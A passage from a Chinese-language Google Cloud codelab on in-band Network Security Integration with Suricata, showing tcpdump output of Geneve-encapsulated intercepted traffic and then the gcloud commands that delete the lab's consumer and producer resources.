05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

请注意,使用 tcpdump 可以看到 GENEVE 标头。源 IP 是子网网关 (10.0.0.1) 的 IP,目标 IP 是转发规则 (10.0.0.11 或 10.0.0.12) 的 IP。封装的数据包包含原始数据包 - consumer-$zonea (192.168.0.2) 或 consumer-$zoneb (192.168.0.3) 的客户端 IP 和目的地 google.com。这确认数据包正在通过 Network Security Integration 被拦截并发送到第三方设备。

  1. 退出 SSH 会话,返回到 Cloud Shell
exit

恭喜!您已成功部署并测试了具有带内 Network Security Integration (NSI) 的环境。

5. 清理

消费者

删除使用方虚拟机:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

删除防火墙关联和政策:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

删除安全配置文件组和安全配置文件:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

删除端点关联和拦截端点组:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

删除 Cloud NAT、Cloud Router 和预留 IP

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

删除 VPC 和子网

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

提供方

删除拦截部署:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

删除拦截部署组(拦截部署必须先完成删除,此命令才能成功执行):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

删除转发规则:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

删除转发规则预留 IP:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

删除后端服务:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

删除非托管式实例组:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

删除健康检查:

gcloud compute health-checks delete nva-hc -q

删除 Producer 虚拟机:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

删除 Cloud NAT、Cloud Router 和预留 IP:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

删除防火墙政策关联:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

删除防火墙政策:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

删除 VPC 和子网

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. 恭喜!

恭喜,您已成功完成“使用 Suricata 进行带内 Network Security Integration”Codelab。

观看 NSI 带内供应商专用演示视频:

Palo Alto Networks

Fortinet

不妨查看一些可能与您组织相关的特定于供应商的部署指南:

Palo Alto Networks

Fortinet

Checkpoint